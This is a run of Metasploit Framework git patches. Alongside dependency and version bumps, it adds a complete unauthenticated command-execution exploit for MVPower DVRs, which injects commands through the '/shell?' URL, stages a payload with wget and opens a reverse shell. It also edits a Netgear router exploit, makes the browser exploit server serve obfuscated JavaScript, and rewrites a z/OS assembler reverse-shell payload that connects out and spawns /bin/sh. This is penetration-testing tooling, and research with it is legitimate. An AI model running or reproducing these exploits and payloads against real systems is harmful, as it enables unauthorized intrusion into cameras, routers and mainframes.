res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/) return true end From 93f75746c4792cb20ec5cc2669f18d3d5e5910c3 Mon Sep 17 00:00:00 2001 From: James Barnett <James_Barnett@rapid7.com> Date: Tue, 21 Feb 2017 13:49:59 -0600 Subject: [PATCH 217/426] Fix logic error in #7985 The check_setup method expects an error message if the web server is not compatible with the module, and false otherwise. We were previously returning the opposite of the expected behavior. --- lib/metasploit/framework/login_scanner/bavision_cameras.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/bavision_cameras.rb b/lib/metasploit/framework/login_scanner/bavision_cameras.rb index 1fc941e475..21167e3007 100644 --- a/lib/metasploit/framework/login_scanner/bavision_cameras.rb +++ b/lib/metasploit/framework/login_scanner/bavision_cameras.rb @@ -14,13 +14,13 @@ module Metasploit # Checks if the target is BAVision Camera's web server. The login module should call this. # - # @return [Boolean] TrueClass if target is SWG, otherwise FalseClass + # @return [String] Error message if target is not a BAVision camera, otherwise FalseClass def check_setup login_uri = normalize_uri("#{uri}") res = send_request({'uri'=> login_uri}) - if res && res.headers['WWW-Authenticate'] && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/) - return true + unless res && res.headers['WWW-Authenticate'] && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/) + return "Unable to locate \"realm=IPCamera Login\" in headers. (Is this really a BAVision camera?)" end false From 84693235193413beb698152dea09fb365e120682 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin <Jeffrey_Martin@rapid7.com> Date: Tue, 21 Feb 2017 14:49:33 -0600 Subject: [PATCH 218/426] update metasploit-aggregator in Gemfile.lock --- Gemfile.lock | 54 ++++++++++++++++++++++++------------ metasploit-framework.gemspec | 2 +- 2 files changed, 37 insertions(+), 19 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 2b17f37e10..40a62dcb74 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -25,7 +25,7 @@ PATH octokit openssl-ccm openvas-omp - packetfu + packetfu (= 1.1.13.pre) patch_finder pcaprub pg @@ -104,7 +104,7 @@ GEM bcrypt (3.1.11) bit-struct (0.15.0) builder (3.2.3) - capybara (2.12.0) + capybara (2.12.1) addressable mime-types (>= 1.16) nokogiri (>= 1.3.3) @@ -115,7 +115,6 @@ GEM ffi (~> 1.0, >= 1.0.11) coderay (1.1.1) contracts (0.14.0) - cool.io (1.4.6) cucumber (2.4.0) builder (>= 2.1.2) cucumber-core (~> 1.5.0) @@ -147,16 +146,33 @@ GEM filesize (0.1.1) fivemat (1.3.2) gherkin (4.0.0) + google-protobuf (3.2.0) + googleauth (0.5.1) + faraday (~> 0.9) + jwt (~> 1.4) + logging (~> 2.0) + memoist (~> 0.12) + multi_json (~> 1.11) + os (~> 0.9) + signet (~> 0.7) + grpc (1.1.2) + google-protobuf (~> 3.1) + googleauth (~> 0.5.1) i18n (0.8.0) jsobfu (0.4.2) rkelly-remix json (1.8.6) + jwt (1.5.6) + little-plugger (1.1.4) + logging (2.1.0) + little-plugger (~> 1.1) + multi_json (~> 1.10) loofah (2.0.3) nokogiri (>= 1.5.9) + memoist (0.15.0) metasm (1.0.2) - metasploit-aggregator (0.1.2) - msgpack - msgpack-rpc + metasploit-aggregator (0.1.3) + grpc rex-arch metasploit-concern (2.0.3) activemodel (~> 4.2.6) @@ -192,15 +208,12 @@ GEM mime-types-data (3.2016.0521) mini_portile2 (2.1.0) minitest (5.10.1) - msgpack (0.5.12) - msgpack-rpc (0.5.4) - cool.io (~> 1.4.3) - msgpack (~> 0.5.10) + msgpack (1.0.3) multi_json (1.12.1) multi_test (0.1.2) multipart-post (2.0.0) nessus_rest (0.1.6) - net-ssh (4.0.1) + net-ssh (4.1.0) network_interface (0.0.1) nokogiri (1.7.0.1) mini_portile2 (~> 2.1.0) @@ -208,9 +221,9 @@ GEM sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) openvas-omp (0.0.4) - packetfu (1.1.11) - network_interface (~> 0.0) - pcaprub (~> 0.12) + os (0.9.6) + packetfu (1.1.13.pre) + pcaprub patch_finder (1.0.2) pcaprub (0.12.4) pg (0.19.0) @@ -241,7 +254,7 @@ GEM rake (>= 0.8.7) thor (>= 0.18.1, < 2.0) rake (12.0.0) - rb-readline (0.5.3) + rb-readline (0.5.4) recog (2.1.4) nokogiri redcarpet (3.4.0) @@ -253,7 +266,7 @@ GEM rex-core rex-struct2 rex-text - rex-core (0.1.6) + rex-core (0.1.7) rex-encoder (0.1.2) metasm rex-arch @@ -310,12 +323,17 @@ GEM rspec-support (~> 3.5.0) rspec-support (3.5.0) rubyntlm (0.6.1) - rubyzip (1.2.0) + rubyzip (1.2.1) sawyer (0.8.1) addressable (>= 2.3.5, < 2.6) faraday (~> 0.8, < 1.0) shoulda-matchers (3.1.1) activesupport (>= 4.0.0) + signet (0.7.3) + addressable (~> 2.3) + faraday (~> 0.9) + jwt (~> 1.5) + multi_json (~> 1.10) simplecov (0.13.0) docile (~> 1.1.0) json (>= 1.8, < 3) @@ -357,4 +375,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.14.3 + 1.14.4 diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 43ec078ac5..9ebba5bfb9 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -77,7 +77,7 @@ Gem::Specification.new do |spec| # Needed by anemone crawler spec.add_runtime_dependency 'nokogiri' # Needed by db.rb and Msf::Exploit::Capture - spec.add_runtime_dependency 'packetfu' + spec.add_runtime_dependency 'packetfu', '1.1.13.pre' # For sniffer and raw socket modules spec.add_runtime_dependency 'pcaprub' # Needed for module caching in Mdm::ModuleDetails From 01558d3d5166b2c9031fb1be1fe06d329058416f Mon Sep 17 00:00:00 2001 From: Metasploit <metasploit@rapid7.com> Date: Tue, 21 Feb 2017 14:01:15 -0800 Subject: [PATCH 219/426] Bump version of framework to 4.13.26 --- Gemfile.lock | 37 ++++++++++++++--------------- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 19 insertions(+), 20 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 49f2e7d0fb..dd54d76c16 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.13.25) + metasploit-framework (4.13.26) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -63,29 +63,28 @@ PATH GEM remote: https://rubygems.org/ specs: - actionpack (4.2.7.1) - actionview (= 4.2.7.1) - activesupport (= 4.2.7.1) + actionpack (4.2.8) + actionview (= 4.2.8) + activesupport (= 4.2.8) rack (~> 1.6) rack-test (~> 0.6.2) rails-dom-testing (~> 1.0, >= 1.0.5) rails-html-sanitizer (~> 1.0, >= 1.0.2) - actionview (4.2.7.1) - activesupport (= 4.2.7.1) + actionview (4.2.8) + activesupport (= 4.2.8) builder (~> 3.1) erubis (~> 2.7.0) rails-dom-testing (~> 1.0, >= 1.0.5) - rails-html-sanitizer (~> 1.0, >= 1.0.2) - activemodel (4.2.7.1) - activesupport (= 4.2.7.1) + rails-html-sanitizer (~> 1.0, >= 1.0.3) + activemodel (4.2.8) + activesupport (= 4.2.8) builder (~> 3.1) - activerecord (4.2.7.1) - activemodel (= 4.2.7.1) - activesupport (= 4.2.7.1) + activerecord (4.2.8) + activemodel (= 4.2.8) + activesupport (= 4.2.8) arel (~> 6.0) - activesupport (4.2.7.1) + activesupport (4.2.8) i18n (~> 0.7) - json (~> 1.7, >= 1.7.7) minitest (~> 5.1) thread_safe (~> 0.3, >= 0.3.4) tzinfo (~> 1.1) @@ -149,7 +148,7 @@ GEM i18n (0.8.0) jsobfu (0.4.2) rkelly-remix - json (1.8.6) + json (2.0.3) loofah (2.0.3) nokogiri (>= 1.5.9) metasm (1.0.2) @@ -192,7 +191,7 @@ GEM multi_test (0.1.2) multipart-post (2.0.0) nessus_rest (0.1.6) - net-ssh (4.0.1) + net-ssh (4.1.0) network_interface (0.0.1) nokogiri (1.7.0.1) mini_portile2 (~> 2.1.0) @@ -226,9 +225,9 @@ GEM rails-deprecated_sanitizer (>= 1.0.1) rails-html-sanitizer (1.0.3) loofah (~> 2.0) - railties (4.2.7.1) - actionpack (= 4.2.7.1) - activesupport (= 4.2.7.1) + railties (4.2.8) + actionpack (= 4.2.8) + activesupport (= 4.2.8) rake (>= 0.8.7) thor (>= 0.18.1, < 2.0) rake (12.0.0) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 0721014c2a..84ac6aa7f1 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.13.25" + VERSION = "4.13.26" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From e491f01c708fbed33ae231a53c4153c07d22b144 Mon Sep 17 00:00:00 2001 From: Brendan Coles <bcoles@gmail.com> Date: Wed, 22 Feb 2017 05:15:57 +0000 Subject: [PATCH 220/426] Add MVPower DVR Shell Unauthenticated Command Execution module --- .../linux/http/mvpower_dvr_shell_exec.rb | 99 +++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 modules/exploits/linux/http/mvpower_dvr_shell_exec.rb diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb new file mode 100644 index 0000000000..bc5c51091c --- /dev/null +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -0,0 +1,99 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] } + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MVPower DVR Shell Unauthenticated Command Execution', + 'Description' => %q{ + This module exploits an unauthenticated remote command execution + vulnerability in MVPower digital video recorders. The 'shell' file + on the web interface executes arbitrary operating system commands in + the query string. + + This module was tested successfully on a MVPower model TV-7104HE with + firmware version 1.8.4 115215B9 (Build 2014/11/17). + + The TV-7108HE model is also reportedly affected, but untested. + }, + 'Author' => + [ + 'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC + 'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'References' => + [ + # Comment from Paul Davies contains probably the first published PoC + [ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ], + # Writeup with PoC by Andrew Tierney from Pen Test Partners + [ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ] + ], + 'DisclosureDate' => 'Aug 23 2015', + 'Privileged' => true, # BusyBox + 'Arch' => ARCH_ARMLE, + 'DefaultOptions' => + { + 'Payload' => 'linux/armle/mettle_reverse_tcp' + }, + 'Targets' => + [ + ['Automatic', {}] + ], + 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::FLAVOR') + end + + def check + begin + fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6) + res = send_request_cgi({ + 'uri' => "/shell?echo+#{fingerprint}", + 'headers' => { 'Connection' => 'Keep-Alive' } + }) + if res && res.body =~ /#{fingerprint}/ + return Exploit::CheckCode::Vulnerable + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + Exploit::CheckCode::Safe + end + + def execute_command(cmd, opts) + begin + res = send_request_cgi({ + 'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}", + 'headers' => { 'Connection' => 'Keep-Alive' } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end + + def exploit + print_status("#{peer} - Connecting to target") + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable") + end + + print_good("#{peer} - Target is vulnerable!") + + execute_cmdstager(flavor: :wget, linemax: 1500) + end +end From 47fec5626e220c8230b25ccdb0efbd8689da74b9 Mon Sep 17 00:00:00 2001 From: Brendan Coles <bcoles@gmail.com> Date: Wed, 22 Feb 2017 07:56:17 +0000 Subject: [PATCH 221/426] Style update --- .../linux/http/mvpower_dvr_shell_exec.rb | 30 +++++++++---------- 1 file changed, 14 insertions(+), 16 deletions(-) diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb index bc5c51091c..13dc116829 100644 --- a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,39 +45,39 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_ARMLE, 'DefaultOptions' => { - 'Payload' => 'linux/armle/mettle_reverse_tcp' + 'Payload' => 'linux/armle/mettle_reverse_tcp', + 'cmdstager::flavor' => 'wget' }, 'Targets' => [ ['Automatic', {}] ], - 'DefaultTarget' => 0)) - deregister_options('CMDSTAGER::FLAVOR') + 'CmdStagerFlavor' => %w{ echo printf wget }, + 'DefaultTarget' => 0)) end def check begin fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6) - res = send_request_cgi({ + res = send_request_cgi( 'uri' => "/shell?echo+#{fingerprint}", 'headers' => { 'Connection' => 'Keep-Alive' } - }) - if res && res.body =~ /#{fingerprint}/ - return Exploit::CheckCode::Vulnerable + ) + if res && res.body.include?(fingerprint) + return CheckCode::Vulnerable end rescue ::Rex::ConnectionError - return Exploit::CheckCode::Unknown + return CheckCode::Unknown end - Exploit::CheckCode::Safe + CheckCode::Safe end def execute_command(cmd, opts) begin - res = send_request_cgi({ + send_request_cgi( 'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}", 'headers' => { 'Connection' => 'Keep-Alive' } - }) - return res + ) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end @@ -88,12 +86,12 @@ class MetasploitModule < Msf::Exploit::Remote def exploit print_status("#{peer} - Connecting to target") - unless check == Exploit::CheckCode::Vulnerable + unless check == CheckCode::Vulnerable fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable") end print_good("#{peer} - Target is vulnerable!") - execute_cmdstager(flavor: :wget, linemax: 1500) + execute_cmdstager(linemax: 1500) end end From 25b3cc685a2e8ae03f89855a0d934dda6fb71a9e Mon Sep 17 00:00:00 2001 From: Carter <cbawsome77@gmail.com> Date: Wed, 22 Feb 2017 11:36:52 -0500 Subject: [PATCH 222/426] Update netgear_r7000_cgibin_exec.rb --- modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb index 7d92a857de..60f506a603 100644 --- a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -40,7 +40,8 @@ class MetasploitModule < Msf::Exploit::Remote 'Space' => 1024, 'DisableNops' => true, 'BadChars' => "\x20" - } + }, + 'DefaultOptions' => { 'WfsDelay' => 10} )) register_options( @@ -97,8 +98,6 @@ class MetasploitModule < Msf::Exploit::Remote }) print_status('Giving the handler time to run...') - handler - sleep(10) end end From 84ab3c66ccda4d9be194e0c56ed92b0782b20f5f Mon Sep 17 00:00:00 2001 From: Jeff Tang <mrjefftang@users.noreply.github.com> Date: Wed, 22 Feb 2017 12:45:49 -0500 Subject: [PATCH 223/426] Use obfuscated JS in BES --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index a99147dd1c..4e2a2c677d 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -501,7 +501,7 @@ module Msf %Q| <script> - #{code} + #{js} </script> <noscript> <img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/"> From 27a7b279f5f22fadfb73facc55e48d9502118073 Mon Sep 17 00:00:00 2001 From: bigendiansmalls <mainframe@bigendiansmalls.com> Date: Wed, 22 Feb 2017 17:17:27 -0600 Subject: [PATCH 224/426] Major rewrite and cleanup of reverse shell jcl The shell does exactly the same as the previous, just made the code read much better so as to not severely anger the gray beards and other lesser mainframe deities. The only architectural change is the payload uses the spawn system call vs exec - this provides for a cleaner exit in some cases. --- .../cmd/mainframe/reverse_shell_jcl.rb | 389 ++++++++++-------- 1 file changed, 221 insertions(+), 168 deletions(-) diff --git a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb index d4f0ef730f..376bc635cd 100644 --- a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb +++ b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb @@ -14,7 +14,7 @@ require 'msf/base/sessions/mainframe_shell' require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 9048 + CachedSize = 9973 include Msf::Payload::Single include Msf::Payload::Mainframe include Msf::Sessions::CommandShellOptions @@ -82,187 +82,240 @@ module MetasploitModule jcl_jobcard + "//**************************************/\n" \ - "//* Generates reverse shell */\n" \ + "//* SPAWN REV SHELL FOR MSF MODULE */\n" \ "//**************************************/\n" \ + "//* final load module name here\n" \ + "//SET1 SET PGMN=SPAWNREV\n" \ "//*\n" \ - "//STEP1 EXEC PROC=ASMACLG\n" \ - "//SYSPRINT DD SYSOUT=*,HOLD=YES\n" \ - "//SYSIN DD *,DLM=ZZ\n" \ - " TITLE 'z/os Reverse Shell'\n" \ - "NEWREV CSECT\n" \ - "NEWREV AMODE 31\n" \ - "NEWREV RMODE 31\n" \ + "//STEP1 EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \ + "//L.SYSLIB DD DSN=SYS1.CSSLIB,DISP=SHR\n" \ + "//C.SYSIN DD *,DLM=ZZ\n" \ + " TITLE 'spaw rev shell non exec'\n" \ + "SPAWNREV CSECT\n" \ + "SPAWNREV AMODE 31\n" \ + "SPAWNREV RMODE ANY\n" \ "***********************************************************************\n" \ - "* SETUP registers and save areas *\n" \ + "* @SETUP registers and save areas *\n" \ "***********************************************************************\n" \ - "MAIN LR 7,15 # R7 is base register\n" \ - " NILH 7,X'1FFF' # ensure local address\n" \ - " USING MAIN,0 # R8 for addressability\n" \ + " USING *,15\n" \ + "@SETUP0 B @SETUP1\n" \ + " DROP 15\n" \ + " DS 0H # half word boundary\n" \ + "@SETUP1 STM 14,12,12(13) # save our registers\n" \ + " LR 2,13 # callers sa\n" \ + " LR 8,15 # pgm base in R8\n" \ + " USING @SETUP0,8 # R8 for base addressability\n" \ + "*************************************\n" \ + "* set up data area / addressability *\n" \ + "*************************************\n" \ + "*\n" \ + " L 0,@DYNSIZE # len of variable area\n" \ + " GETMAIN RU,LV=(0) # get data stg, len R0\n" \ + " LR 13,1 # data address\n" \ + " USING @DATA,13 # addressability for data area\n" \ + "* XC @DATA(@DATA#LEN),@DATA # zero data area\n" \ + " ST 2,@BACK # store callers sa address\n" \ + " ST 13,8(,2) # store our data addr\n" \ + "*************************************\n" \ + "* set up INHE area / addressability *\n" \ + "*************************************\n" \ + "*\n" \ + "* L 0,=A(INHE#LENGTH) # length of INHE macro\n" \ + "* GETMAIN RU,LV=(0) # get stg for inhe macro\n" \ + "* ST 1,@CONSA # save addr inhe macro stg\n" \ + "* LR 5,1 # R5 has INHE struct address\n" \ + "* USING INHE,5 # addressability for INHE\n" \ " DS 0H # halfword boundaries\n" \ - " LA 1,ZEROES(7) # address byond which should be all 0s\n" \ - " XC 0(204,1),0(1) # clear zero area\n" \ - " LA 13,SAVEAREA(7) # address of save area\n" \ - " LHI 8,8 # R8 has static 8\n" \ - " LHI 9,1 # R9 has static 1\n" \ - " LHI 10,2 # R10 has static 2\n" \ + "***********************************************************************\n" \ + "* BPX1SOC set up socket - inline *\n" \ + "***********************************************************************\n" \ + " CALL BPX1SOC, X\n" \ + " (DOM,TYPE,PROTO,DIM,CLIFD, X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "*******************************\n" \ + "* chk return code, 0 or exit *\n" \ + "*******************************\n" \ + " LHI 15,2\n" \ + " L 6,RTN_VAL\n" \ + " CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \ "\n" \ "***********************************************************************\n" \ - "* BPX1SOC set up socket *\n" \ + "* BPX1CON (connect) connect to remote host - inline *\n" \ "***********************************************************************\n" \ - "BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \ - " LA 3,8 # n parms\n" \ - " LA 5,DOM(7) # Relative addr of First parm\n" \ - " ST 10,DOM(7) # store a 2 for AF_INET\n" \ - " ST 9,TYPE(7) # store a 1 for sock_stream\n" \ - " ST 9,DIM(7) # store a 1 for dim_sock\n" \ - " LA 15,CLORUN(7) # address of generic load & run\n" \ - " BASR 14,15 # Branch to load & run\n" \ - "\n" \ - "***********************************************************************\n" \ - "* BPX1CON (connect) connect to rmt host *\n" \ - "***********************************************************************\n" \ - "BCON L 5,CLIFD(7) # address of client file descriptor\n" \ - " ST 5,CLIFD2(7) # store for connection call\n" \ - "*** main processing **\n" \ - " LA 1,SSTR(7) # packed socket string\n" \ - " LA 5,CLIFD2(7) # dest for our sock str\n" \ - " MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \ - " LA 0,@@F2(7) # USS callable svcs connect\n" \ - " LA 3,6 # n parms for func call\n" \ - " LA 5,CLIFD2(7) # src parm list addr\n" \ - " LA 15,CLORUN(7) # address of generic load & run\n" \ - " BASR 14,15 # Branch to load & run\n" \ + " XC SOCKADDR(16),SOCKADDR # zero sock addr struct\n" \ + " MVI SOCK_FAMILY,AF_INET # family inet\n" \ + " MVI SOCK_LEN,SOCK#LEN # len of socket\n" \ + " MVC SOCK_SIN_PORT,CONNSOCK # port to connect to\n" \ + " MVC SOCK_SIN_ADDR,CONNADDR # address to connect to\n" \ + " CALL BPX1CON, X\n" \ + " (CLIFD,SOCKLEN,SOCKADDR, X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "*******************************\n" \ + "* chk return code, 0 or exit *\n" \ + "*******************************\n" \ + " LHI 15,3\n" \ + " L 6,RTN_VAL\n" \ + " CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \ "\n" \ "*************************************************\n" \ - "* Preparte the child pid we'll spawn *\n" \ + "* order of things to prep child pid *\n" \ "* 0) Dupe all 3 file desc of CLIFD *\n" \ "* 1) dupe parent read fd to std input *\n" \ "*************************************************\n" \ - " LHI 11,2 # Loop Counter R11=2\n" \ - "@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \ - "@RET1 AHI 11,-1 # Decrement R11\n" \ - " CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \ + "*******************\n" \ + "***** STDIN *****\n" \ + "*******************\n" \ + " CALL BPX1FCT, X\n" \ + " (CLIFD, X\n" \ + " =A(F_DUPFD2), X\n" \ + " =A(F_STDI), X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "****************************************************\n" \ + "* chk return code here anything but -1 is ok *\n" \ + "****************************************************\n" \ + " LHI 15,11 # exit code for this func\n" \ + " L 7,RTN_VAL # set r7 to rtn val\n" \ + " CIB 7,-1,8,EXITP # r6 = -1 exit\n" \ + "*******************\n" \ + "***** STDOUT *****\n" \ + "*******************\n" \ + " CALL BPX1FCT, X\n" \ + " (CLIFD, X\n" \ + " =A(F_DUPFD2), X\n" \ + " =A(F_STDO), X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "****************************************************\n" \ + "* chk return code here anything but -1 is ok *\n" \ + "****************************************************\n" \ + " LHI 15,11 # exit code for this func\n" \ + " L 7,RTN_VAL # set r7 to rtn val\n" \ + " CIB 7,-1,8,EXITP # r6 = -1 exit\n" \ + "*******************\n" \ + "***** STDERR *****\n" \ + "*******************\n" \ + " CALL BPX1FCT, X\n" \ + " (CLIFD, X\n" \ + " =A(F_DUPFD2), X\n" \ + " =A(F_STDE), X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "****************************************************\n" \ + "* chk return code here anything but -1 is ok *\n" \ + "****************************************************\n" \ + " LHI 15,11 # exit code for this func\n" \ + " L 7,RTN_VAL # set r7 to rtn val\n" \ + " CIB 7,-1,8,EXITP # r7 = -1 exit\n" \ + "***********************************************************************\n" \ + "* BP1SPN (SPAWN) execute shell '/bin/sh' *\n" \ + "***********************************************************************\n" \ + "******\n" \ + "******\n" \ + " XC INHE(INHE#LENGTH),INHE # clear inhe structure\n" \ + " XI INHEFLAGS0,INHESETPGROUP\n" \ + " SPACE ,\n" \ + " MVC INHEEYE,=C'INHE'\n" \ + " LH 0,TLEN\n" \ + " STH 0,INHELENGTH\n" \ + " LH 0,TVER\n" \ + " STH 0,INHEVERSION\n" \ + " CALL BPX1SPN, X\n" \ + " (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL, X\n" \ + " EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL, X\n" \ + " RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + " LHI 15,12 # exit code for this func\n" \ + " L 7,RTN_VAL # set r7 to rtn val\n" \ + " L 6,RTN_COD\n" \ + " L 5,RSN_COD\n" \ + " CIB 7,-1,8,EXITP # r7 = -1 exit\n" \ "\n" \ - "***********************************************************************\n" \ - "* BPX1EXC (exec) execute /bin/sh *\n" \ - "***********************************************************************\n" \ - "LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \ - "******************************************\n" \ - "**** load array of addr and constants ***\n" \ - "******************************************\n" \ - " ST 10,EXARG1L(7) # arg 1 len is 2\n" \ - " LA 2,EXARG1L(7) # addr of len of arg1\n" \ - " ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \ - " LA 2,EXARG1(7) # addr of arg1\n" \ - " ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \ - " ST 9,EXARGC(7) # store 1 in ARG Count\n" \ - "**************************************************************\n" \ - "*** call the exec function the normal way ********************\n" \ - "**************************************************************\n" \ - " LA 0,@@EX1(7) # USS callable svcs EXEC\n" \ - " LA 3,13 # n parms\n" \ - " LA 5,EXCPRM1(7) # src parm list addr\n" \ - " LA 15,CLORUN(7) # address of generic load & run\n" \ - " BASR 14,15 # Branch to load & run\n" \ + "****************************************************\n" \ + "* cleanup & exit *\n" \ + "* preload R15 with exit code *\n" \ + "****************************************************\n" \ + "GOODX XR 15,15 # 4 FOR rc\n" \ + "* L 0,=A(INHE#LENGTH)\n" \ + "* L 5,@INHEA\n" \ + "* DROP 5\n" \ + "* FREEMAIN RU,LV=(0),A=(5) #free storage\n" \ + "EXITP L 0,@DYNSIZE\n" \ + " LR 1,13\n" \ + " L 13,@BACK\n" \ + " DROP 13\n" \ + " FREEMAIN RU,LV=(0),A=(1) #free storage\n" \ + " XR 15,15\n" \ + " L 14,12(,13) # load R14\n" \ + " LM 0,12,20(13) # load 0-12\n" \ + " BSM 0,14 # branch to caller\n" \ "\n" \ - "***********************************************************************\n" \ - "*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \ - "***********************************************************************\n" \ - "LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \ - " ST 8,@ACT(7) # 8 is our dupe2 action\n" \ - " L 5,CLIFD(7) # client file descriptor\n" \ - " ST 5,@FFD(7) # store as fnctl argument\n" \ - " ST 11,@ARG(7) # fd to clone\n" \ - " LA 3,6 # n parms\n" \ - " LA 5,@FFD(7) # src parm list addr\n" \ - " LA 15,CLORUN(7) # address of generic load & run\n" \ - " BASR 14,15 # Branch to load & run\n" \ - " BRC 15,@RET1 # Return to caller\n" \ - "\n" \ - "***********************************************************************\n" \ - "* LOAD and run R0=func name, R3=n parms *\n" \ - "* R5 = src parm list *\n" \ - "***********************************************************************\n" \ - "CLORUN ST 14,8(,13) # store ret address\n" \ - " XR 1,1 # zero R1\n" \ - " SVC 8 # get func call addr for R0\n" \ - " ST 0,12(13) # Store returned addr in our SA\n" \ - " L 15,12(13) # Load func addr into R15\n" \ - " LHI 6,20 # offset from SA of first parm\n" \ - " LA 1,0(6,13) # start of dest parm list\n" \ - "@LOOP2 ST 5,0(6,13) # store parms address in parm\n" \ - " AHI 3,-1 # decrement # parm\n" \ - " CIJ 3,11,8,@FIX # haky fix for EXEC func\n" \ - "@RETX AHI 6,4 # increment dest parm addr\n" \ - " AHI 5,4 # increment src parm addr\n" \ - " CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" \ - " LA 5,0(6,13)\n" \ - " AHI 5,-4\n" \ - " OI 0(5),X'80' # last parm first bit high\n" \ - "@FIN1 BALR 14,15 # call function\n" \ - " L 14,8(,13) # set up return address\n" \ - " BCR 15,14 # return to caller\n" \ - 